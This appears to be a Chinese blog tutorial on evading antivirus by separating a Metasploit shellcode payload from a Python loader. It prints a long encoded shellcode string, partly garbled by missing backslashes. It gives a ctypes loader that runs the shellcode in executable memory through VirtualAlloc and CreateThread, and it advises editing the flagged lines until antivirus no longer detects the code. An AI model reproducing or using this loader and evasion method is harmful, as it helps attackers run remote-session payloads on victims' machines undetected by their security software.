通过Python实现Payload分离免杀过程详解

缺点：

编译成exe以后体积过大

实现：

msf生成shellcode代码：

将payload给copy下来，去除引号。

x2fx4fx69x43x41x41x41x41x59x49x6ex6cx4dx63x42x6bx69x31x41x77x69x31x49x4dx69x31x49x55x69x33x49x6fx44x37x64x4bx4ax6ax48x2fx72x44x78x68x66x41x49x73x49x4dx48x50x44x51x48x48x34x76x4ax53x56x34x74x53x45x49x74x4bx50x49x74x4dx45x58x6ax6ax53x41x48x52x55x59x74x5ax49x41x48x54x69x30x6bx59x34x7ax70x4ax69x7ax53x4cx41x64x59x78x2fx36x7ax42x7ax77x30x42x78x7ax6ax67x64x66x59x44x66x66x67x37x66x53x52x31x35x46x69x4cx57x43x51x42x30x32x61x4cx44x45x75x4cx57x42x77x42x30x34x73x45x69x77x48x51x69x55x51x6bx4ax46x74x62x59x56x6cx61x55x66x2fx67x58x31x39x61x69x78x4cx72x6ax56x31x6fx4dx7ax49x41x41x47x68x33x63x7ax4ax66x56x47x68x4dx64x79x59x48x69x65x6ax2fx30x4cx69x51x41x51x41x41x4bx63x52x55x55x47x67x70x67x47x73x41x2fx39x56x71x43x6dx6ax41x71x41x4dx38x61x41x49x41x44x51x57x4ax35x6cx42x51x55x46x42x41x55x45x42x51x61x4fx6fx50x33x2bx44x2fx31x5ax64x71x45x46x5ax58x61x4ax6dx6cx64x47x48x2fx31x59x58x41x64x41x72x2fx54x67x68x31x37x4fx68x6ex41x41x41x41x61x67x42x71x42x46x5ax58x61x41x4cx5ax79x46x2fx2fx31x59x50x34x41x48x34x32x69x7ax5ax71x51x47x67x41x45x41x41x41x56x6dx6fx41x61x46x69x6bx55x2bx58x2fx31x5ax4ex54x61x67x42x57x55x31x64x6fx41x74x6ex49x58x2fx2fx56x67x2fx67x41x66x53x68x59x61x41x42x41x41x41x42x71x41x46x42x6fx43x79x38x50x4dx50x2fx56x56x32x68x31x62x6bx31x68x2fx39x56x65x58x76x38x4dx4ax41x2bx46x63x50x2fx2fx2fx2bx6dx62x2fx2fx2fx2fx41x63x4dx70x78x6ex58x42x77x37x76x77x74x61x4ax57x61x67x42x54x2fx39x55x3d

将自己的代码放入第3行的shell_code位置。

import ctypes,base64 encode_shellcode = 'shell_code'shellcode = base64.b64decode(encode_shellcode)rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

以上代码是绝对会被查杀的，但是可以通过修改代码绕过。思路如下，先查找杀软查杀哪里，再修改杀软查杀的代码，同时保证正常运行。提示一下，查杀的代码再5-6行之间，对其进行修改即可。

返回session：

免杀效果：

参考资料：

https://github.com/TideSec/BypassAntiVirus

https://micro8.gitbook.io/micro8/

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持好吧啦网。